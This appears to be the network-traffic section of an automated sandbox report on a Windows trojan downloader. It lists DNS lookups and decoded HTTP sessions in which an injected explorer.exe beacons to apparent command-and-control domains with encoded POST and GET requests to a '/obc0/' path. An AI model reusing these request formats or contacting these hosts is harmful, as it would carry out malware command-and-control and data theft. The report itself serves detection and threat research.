Oct 11, 2022 05:55:38.124008894 CEST	8.8.8.8	192.168.2.4	0xc273	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)	false
Oct 11, 2022 05:56:51.554538012 CEST	8.8.8.8	192.168.2.4	0x85d1	No error (0)	www.negerbajs.info		69.57.163.50	A (IP address)	IN (0x0001)	false
Oct 11, 2022 05:57:02.807224035 CEST	8.8.8.8	192.168.2.4	0x8c00	No error (0)	www.augusta.broker		52.60.87.163	A (IP address)	IN (0x0001)	false
Oct 11, 2022 05:57:12.489001989 CEST	8.8.8.8	192.168.2.4	0xb03c	No error (0)	www.luregirl.net	luregirl.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 11, 2022 05:57:12.489001989 CEST	8.8.8.8	192.168.2.4	0xb03c	No error (0)	luregirl.net		167.179.103.237	A (IP address)	IN (0x0001)	false
Oct 11, 2022 05:57:23.002239943 CEST	8.8.8.8	192.168.2.4	0x7828	No error (0)	www.bloopacts.live		167.235.29.175	A (IP address)	IN (0x0001)	false
Oct 11, 2022 05:57:32.283051968 CEST	8.8.8.8	192.168.2.4	0x9274	No error (0)	www.skyepattest.com		217.160.0.167	A (IP address)	IN (0x0001)	false
Oct 11, 2022 05:57:41.480459929 CEST	8.8.8.8	192.168.2.4	0x96e8	No error (0)	www.suatvthainguyen.buzz	suatvthainguyen.buzz		CNAME (Canonical name)	IN (0x0001)	false
Oct 11, 2022 05:57:41.480459929 CEST	8.8.8.8	192.168.2.4	0x96e8	No error (0)	suatvthainguyen.buzz		198.252.98.107	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

transfer.sh

www.negerbajs.info

www.augusta.broker

www.luregirl.net

www.bloopacts.live

www.skyepattest.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49699	144.76.136.153	443	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49700	144.76.136.153	443	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49709	167.235.29.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 11, 2022 05:57:25.081665993 CEST	417	OUT	POST /obc0/ HTTP/1.1 Host: www.bloopacts.live Connection: close Content-Length: 188 Cache-Control: no-cache Origin: http://www.bloopacts.live User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.bloopacts.live/obc0/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 2d 5a 62 68 39 38 3d 42 4f 78 4b 4e 41 70 66 67 58 74 43 4e 43 76 30 73 6e 59 41 62 6e 39 4b 56 37 47 33 4f 63 4f 75 36 35 32 57 38 36 7a 5f 4e 52 37 52 67 35 33 5f 66 54 4c 2d 49 4b 50 72 61 46 6a 65 67 59 74 61 31 45 4e 6b 75 58 59 54 61 66 43 6a 5a 48 61 79 50 57 44 30 56 4d 55 6f 4b 79 74 79 6a 42 58 42 28 6a 52 44 44 51 6e 37 5a 5f 55 4c 43 51 6b 69 44 6f 66 76 42 4a 7e 4e 70 6a 5a 65 46 46 46 38 48 34 48 6a 66 52 6b 35 4d 70 6f 55 79 56 45 55 31 6c 43 67 6a 37 63 6d 72 4b 69 38 50 6f 35 70 59 39 76 43 70 72 4e 39 7e 73 68 38 4d 63 6e 71 59 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: -Zbh98=BOxKNApfgXtCNCv0snYAbn9KV7G3OcOu652W86z_NR7Rg53_fTL-IKPraFjegYta1ENkuXYTafCjZHayPWD0VMUoKytyjBXB(jRDDQn7Z_ULCQkiDofvBJ~NpjZeFFF8H4HjfRk5MpoUyVEU1lCgj7cmrKi8Po5pY9vCprN9~sh8McnqYw).
Oct 11, 2022 05:57:25.105431080 CEST	417	IN	HTTP/1.1 200 OK Date: Tue, 11 Oct 2022 03:57:25 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.1.33 X-Powered-By: PHP/7.1.33 Content-Length: 195 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 73 63 72 69 70 74 3e 69 66 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 63 6c 75 64 65 73 28 22 23 22 29 29 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 72 65 70 6c 61 63 65 28 2f 5c 2f 5c 23 5c 2f 2f 67 2c 27 23 27 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2f 5c 23 2f 67 2c 27 23 27 29 2e 72 65 70 6c 61 63 65 28 2f 5c 23 2f 67 2c 27 2f 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 70 72 65 3e 43 6f 75 6c 64 20 6e 6f 74 20 70 61 72 73 65 20 75 72 6c 20 21 3c 2f 70 72 65 3e Data Ascii: <script>if(window.location.href.includes("#")) window.location.href = window.location.href.replace(/\/\#\//g,'#').replace(/\/\#/g,'#').replace(/\#/g,'/');</script><pre>Could not parse url !</pre>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49710	167.235.29.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 11, 2022 05:57:27.127089977 CEST	418	OUT	GET /obc0/?-Zbh98=MMZqO1I08y1GBRfD5BQQX3BCGY/GGPyfy+PmyLieMA7AvKnTbkXoUfvxfVWp1ohOvSFQ0Ck6defUcVisMCvldqUqNSR/syiy4w==&C0=X82hHfExC6QP HTTP/1.1 Host: www.bloopacts.live Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 11, 2022 05:57:27.150600910 CEST	418	IN	HTTP/1.1 200 OK Date: Tue, 11 Oct 2022 03:57:27 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.1.33 X-Powered-By: PHP/7.1.33 Content-Length: 195 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 73 63 72 69 70 74 3e 69 66 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 63 6c 75 64 65 73 28 22 23 22 29 29 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 72 65 70 6c 61 63 65 28 2f 5c 2f 5c 23 5c 2f 2f 67 2c 27 23 27 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2f 5c 23 2f 67 2c 27 23 27 29 2e 72 65 70 6c 61 63 65 28 2f 5c 23 2f 67 2c 27 2f 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 70 72 65 3e 43 6f 75 6c 64 20 6e 6f 74 20 70 61 72 73 65 20 75 72 6c 20 21 3c 2f 70 72 65 3e Data Ascii: <script>if(window.location.href.includes("#")) window.location.href = window.location.href.replace(/\/\#\//g,'#').replace(/\/\#/g,'#').replace(/\#/g,'/');</script><pre>Could not parse url !</pre>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49711	217.160.0.167	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 11, 2022 05:57:32.305773973 CEST	420	OUT	POST /obc0/ HTTP/1.1 Host: www.skyepattest.com Connection: close Content-Length: 412 Cache-Control: no-cache Origin: http://www.skyepattest.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.skyepattest.com/obc0/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 2d 5a 62 68 39 38 3d 32 4e 36 6e 38 5f 43 6b 75 48 53 35 63 64 6f 69 41 70 32 2d 42 32 28 50 39 63 36 58 79 69 49 52 71 56 76 76 45 31 68 74 76 51 53 52 32 2d 71 45 54 51 6a 68 32 6e 28 30 64 62 6c 64 28 77 67 6a 6f 6c 37 56 63 54 68 59 77 30 79 47 6f 31 35 79 79 43 35 39 62 54 72 38 66 39 31 58 59 51 58 72 5a 46 59 65 5a 78 52 65 32 4f 66 52 6f 55 49 31 4e 33 6a 66 67 4f 61 72 48 33 79 67 33 35 4e 59 42 6d 6c 59 6a 5f 5a 6b 50 49 68 51 31 5f 5a 41 68 34 74 4c 30 34 4e 6d 7a 55 57 64 51 52 54 31 52 4a 4a 38 48 70 62 45 79 45 30 70 66 49 50 45 64 45 4f 74 37 65 73 68 72 6c 58 57 42 6a 7e 4c 64 65 4c 50 5a 59 33 58 4b 6f 51 76 73 54 45 6c 66 69 52 39 6c 62 50 46 54 6b 79 69 28 31 55 35 75 35 4d 5f 73 53 4c 4a 71 6a 73 57 46 62 38 6a 49 41 34 69 77 4a 65 4c 75 57 58 38 61 5f 49 4c 4a 66 65 74 37 34 78 53 35 66 4b 6c 50 76 49 79 31 69 42 4f 69 79 4b 51 4d 76 43 42 6c 42 69 50 59 7a 6f 74 76 33 56 41 6e 37 35 32 44 73 52 58 75 6f 4c 76 61 38 48 49 53 61 6f 68 67 42 39 31 70 70 46 5a 35 6b 55 6c 56 4f 6f 6e 58 35 72 78 6c 55 50 33 62 47 71 55 63 52 49 4e 4f 4a 73 59 70 33 58 74 65 65 37 63 44 39 61 74 48 48 41 41 38 4d 57 34 4b 51 66 71 50 68 41 33 39 75 6a 77 61 63 42 42 4c 72 44 63 79 69 43 4b 47 72 62 62 54 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: -Zbh98=2N6n8_CkuHS5cdoiAp2-B2(P9c6XyiIRqVvvE1htvQSR2-qETQjh2n(0dbld(wgjol7VcThYw0yGo15yyC59bTr8f91XYQXrZFYeZxRe2OfRoUI1N3jfgOarH3yg35NYBmlYj_ZkPIhQ1_ZAh4tL04NmzUWdQRT1RJJ8HpbEyE0pfIPEdEOt7eshrlXWBj~LdeLPZY3XKoQvsTElfiR9lbPFTkyi(1U5u5M_sSLJqjsWFb8jIA4iwJeLuWX8a_ILJfet74xS5fKlPvIy1iBOiyKQMvCBlBiPYzotv3VAn752DsRXuoLva8HISaohgB91ppFZ5kUlVOonX5rxlUP3bGqUcRINOJsYp3Xtee7cD9atHHAA8MW4KQfqPhA39ujwacBBLrDcyiCKGrbbTg).
Oct 11, 2022 05:57:32.367717981 CEST	420	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 11 Oct 2022 03:57:32 GMT Content-Type: text/html Content-Length: 138 Connection: close Location: https://www.skyepattest.com/obc0/ Expires: Tue, 11 Oct 2022 04:17:32 GMT Cache-Control: max-age=1200 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49712	217.160.0.167	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 11, 2022 05:57:34.360590935 CEST	421	OUT	POST /obc0/ HTTP/1.1 Host: www.skyepattest.com Connection: close Content-Length: 188 Cache-Control: no-cache Origin: http://www.skyepattest.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.skyepattest.com/obc0/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 2d 5a 62 68 39 38 3d 32 4e 36 6e 38 5f 43 6b 75 48 53 35 64 75 51 69 42 71 65 2d 4b 57 28 50 69 73 36 56 79 69 49 53 71 56 76 72 45 77 41 71 75 6a 79 52 32 76 61 45 54 69 37 68 78 6e 28 33 57 37 6c 52 69 67 67 32 6f 6c 36 47 63 53 4e 59 77 33 4f 47 6f 31 4a 79 7a 7a 35 36 59 54 72 79 5a 39 31 49 63 51 58 2d 5a 46 46 5a 5a 30 68 65 32 4c 62 52 70 6a 38 31 4e 46 62 41 78 2d 61 71 4b 6e 79 5a 35 5a 4e 69 42 6d 6c 48 6a 5f 5a 4f 50 4b 70 51 31 50 4a 41 69 62 46 4d 39 34 4e 76 76 6b 58 5a 59 45 6d 71 55 63 73 7a 58 34 72 49 78 68 4a 6a 55 70 4b 34 42 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: -Zbh98=2N6n8_CkuHS5duQiBqe-KW(Pis6VyiISqVvrEwAqujyR2vaETi7hxn(3W7lRigg2ol6GcSNYw3OGo1Jyzz56YTryZ91IcQX-ZFFZZ0he2LbRpj81NFbAx-aqKnyZ5ZNiBmlHj_ZOPKpQ1PJAibFM94NvvkXZYEmqUcszX4rIxhJjUpK4Bg).
Oct 11, 2022 05:57:34.381963015 CEST	422	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 11 Oct 2022 03:57:34 GMT Content-Type: text/html Content-Length: 138 Connection: close Location: https://www.skyepattest.com/obc0/ Expires: Tue, 11 Oct 2022 04:17:34 GMT Cache-Control: max-age=1200 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49713	217.160.0.167	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 11, 2022 05:57:36.412740946 CEST	422	OUT	GET /obc0/?-Zbh98=7PSH/Ln00kiEZ+8VHNPsGnjemOaV3QQvmjWzLH8ChjGT6OrVSUax7xbhQJ4P9gQznTCEUU1HjkXGkkJ8y3lbGhe/UOddQQeZUw==&C0=X82hHfExC6QP HTTP/1.1 Host: www.skyepattest.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 11, 2022 05:57:36.435178995 CEST	423	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 11 Oct 2022 03:57:36 GMT Content-Type: text/html Content-Length: 138 Connection: close Location: https://www.skyepattest.com/obc0/?-Zbh98=7PSH/Ln00kiEZ+8VHNPsGnjemOaV3QQvmjWzLH8ChjGT6OrVSUax7xbhQJ4P9gQznTCEUU1HjkXGkkJ8y3lbGhe/UOddQQeZUw==&C0=X82hHfExC6QP Expires: Tue, 11 Oct 2022 04:17:36 GMT Cache-Control: max-age=1200 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49701	69.57.163.50	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 11, 2022 05:56:52.316946983 CEST	383	OUT	GET /obc0/?-Zbh98=V2kSpVpGpqmsc+zV99/vwEPQm6AjbD0sNlmHlMce7g5oKKN3NgpJQJsKfnUSGJnURE4hRqcigFYsP8mgf+TOZi6v6bw37RqyMQ==&C0=X82hHfExC6QP HTTP/1.1 Host: www.negerbajs.info Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 11, 2022 05:56:52.583540916 CEST	384	IN	HTTP/1.1 404 Not Found Date: Tue, 11 Oct 2022 03:56:52 GMT Server: Apache Content-Length: 4406 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 43 6f 64 65 73 74 65 72 20 7c 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 72 65 73 70 6f 6e 73 69 76 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 33 30 30 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 73 75 70 65 72 66 69 73 68 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 65 61 73 69 6e 67 2e 31 2e 33 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 63 6f 6f 6b 69 65 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 6c 6f 61 64 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 6a 51 75 65 72 79 28 27 2e 73 70 69 6e 6e 65 72 27 29 2e 61 6e 69 6d 61 74 65 28 7b 0d 0a 20 20 20 20 20 20 20 20 27 6f 70 61 63 69 74 79 27 3a 20 30 0d 0a 20 20 20 20 7d 2c 20 31 30 30 30 2c 20 27 65 61 73 65 4f 75 74 43 75 62 69 63 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 6a 51 75 65 72 79 28 74 68 69 73 29 2e 63 73 73 28 27 64 69 73 70 6c 61 79 27 2c 20 27 6e 6f 6e 65 27 29 0d 0a 20 20 20 20 7d 29 3b 0d 0a 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 5d 3e 0d 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 69 6e 64 6f 77 73 2f 69 6e 74 65 72 6e 65 74 2d 65 78 70 6c 6f 72 65 72 2f 64 65 66 61 75 6c 74 2e 61 73 70 78 3f 6f 63 69 64 3d 69 65 36 5f 63 6f 75 6e 74 64 6f 77 6e 5f 62 61 6e 6e 65 72 63 6f 64 65 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 74 68 65 69 65 36 63 6f 75 6e 74 64 6f 77 6e 2e 63 6f 6d 2f 69 6d 67 2f 75 70 67 72 61 64 65 2e 6a 70 67 22 62 6f 72 64 65 72 3d 22 30 22 61 6c 74 3d 22 22 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 20 20 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 0d Data Ascii: <!DOCTYPE html><html lang="en"><head><title>Codester \| 404</title><meta charset="utf-8"><link rel="stylesheet" href="/css/bootstrap.css" type="text/css" media="screen"><link rel="stylesheet" href="/css/responsive.css" type="text/css" media="screen"><link rel="stylesheet" href="/css/style.css" type="text/css" media="screen"><link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300' rel='stylesheet' type='text/css'><script src="/js/jquery.js"></script><script src="/js/superfish.js"></script><script src="/js/jquery.easing.1.3.js"></script><script src="/js/jquery.cookie.js"></script><script>jQuery(window).load(function () { jQuery('.spinner').animate({ 'opacity': 0 }, 1000, 'easeOutCubic', function () { jQuery(this).css('display', 'none') });});</script>...[if lt IE 8]><div style='text-align:center'><a href="http://www.microsoft.com/windows/internet-explorer/default.aspx?ocid=ie6_countdown_bannercode"><img src="http://www.theie6countdown.com/img/upgrade.jpg"border="0"alt=""/></a></div> <![endif]-->...[if (gt IE 9)\|!(IE)]>...>
Oct 11, 2022 05:56:52.583606958 CEST	385	IN	Data Raw: 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 6a 73 2f 68 74 6d 6c 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 6c 69 6e 6b 20 72 Data Ascii: ...<![endif]-->...[if lt IE 9]><script src="js/html5.js"></script><link rel="stylesheet" href="css/docs.css" type="text/css" media="screen"><link rel="stylesheet" href="css/ie.css" type="text/css" media="screen"><link href='http:/
Oct 11, 2022 05:56:52.583636999 CEST	387	IN	Data Raw: 20 3c 75 6c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 22 3e 50 72 6f 63 65 73 73 20 30 31 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <ul> <li><a href="/">Process 01</a></li> <li><a href="/">Process 02</a></li> <li><a href="/">Process 03</a></li> </ul> </li> <
Oct 11, 2022 05:56:52.583662033 CEST	387	IN	Data Raw: 65 61 72 63 68 3c 2f 61 3e 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 Data Ascii: earch</a> </div> </form> </div> </div> </div> </div> </div> </div></div>... footer --><footer> <div class="container clearfix"> <ul class="list-social pull-right">

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49702	52.60.87.163	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 11, 2022 05:57:02.917025089 CEST	389	OUT	POST /obc0/ HTTP/1.1 Host: www.augusta.broker Connection: close Content-Length: 412 Cache-Control: no-cache Origin: http://www.augusta.broker User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.augusta.broker/obc0/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 2d 5a 62 68 39 38 3d 28 6b 62 6b 54 46 49 4f 65 79 54 6e 50 79 62 42 63 47 42 6e 39 38 53 64 6e 35 32 4f 6a 53 32 6d 31 68 7e 71 46 79 4b 71 30 6c 65 30 75 46 51 75 39 61 4d 37 4c 5f 32 6f 56 45 68 37 37 39 37 66 73 76 78 6e 53 66 33 6b 54 42 43 6c 52 50 4a 33 75 2d 64 6f 6d 4f 6b 77 31 52 30 39 32 46 79 53 58 79 49 76 42 38 36 36 35 67 34 31 71 6a 74 45 52 39 69 59 4a 7a 6f 31 73 30 4b 61 69 4a 31 57 63 74 4b 6b 79 67 35 44 43 66 39 49 38 6a 53 6c 39 73 43 5a 4d 55 37 65 35 75 30 5a 31 6c 6f 57 61 32 4c 58 73 34 66 73 4e 51 34 64 79 69 64 75 55 77 75 6e 4f 33 28 4a 54 67 31 30 7a 75 6c 46 52 79 62 36 57 79 31 6a 42 50 41 6c 78 4f 6f 67 67 49 4c 72 6d 34 54 59 64 79 61 4c 59 46 71 59 61 6d 6c 35 30 67 56 6a 32 46 58 58 78 51 4f 42 68 50 78 4f 64 59 30 38 57 6a 36 63 47 68 5a 57 63 52 34 35 6f 32 71 59 28 33 64 6b 36 50 6c 59 58 68 38 43 5a 58 69 5f 47 46 72 6a 31 42 61 4d 77 76 65 55 4c 59 75 52 74 63 65 55 54 6d 72 50 73 7a 55 6d 4d 69 43 46 6a 62 4d 4c 4f 67 69 46 42 41 44 47 48 45 78 32 69 78 30 74 6e 65 53 4b 6f 45 6b 7a 46 4c 33 73 54 54 4b 6e 73 52 68 69 36 32 55 71 78 48 35 30 38 71 61 4b 62 4b 53 39 68 6d 44 4e 78 78 6b 4a 6c 31 76 38 38 63 73 2d 32 35 55 70 41 55 72 36 53 57 72 64 4b 32 79 4e 65 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: -Zbh98=(kbkTFIOeyTnPybBcGBn98Sdn52OjS2m1h~qFyKq0le0uFQu9aM7L_2oVEh7797fsvxnSf3kTBClRPJ3u-domOkw1R092FySXyIvB8665g41qjtER9iYJzo1s0KaiJ1WctKkyg5DCf9I8jSl9sCZMU7e5u0Z1loWa2LXs4fsNQ4dyiduUwunO3(JTg10zulFRyb6Wy1jBPAlxOoggILrm4TYdyaLYFqYaml50gVj2FXXxQOBhPxOdY08Wj6cGhZWcR45o2qY(3dk6PlYXh8CZXi_GFrj1BaMwveULYuRtceUTmrPszUmMiCFjbMLOgiFBADGHEx2ix0tneSKoEkzFL3sTTKnsRhi62UqxH508qaKbKS9hmDNxxkJl1v88cs-25UpAUr6SWrdK2yNeQ).
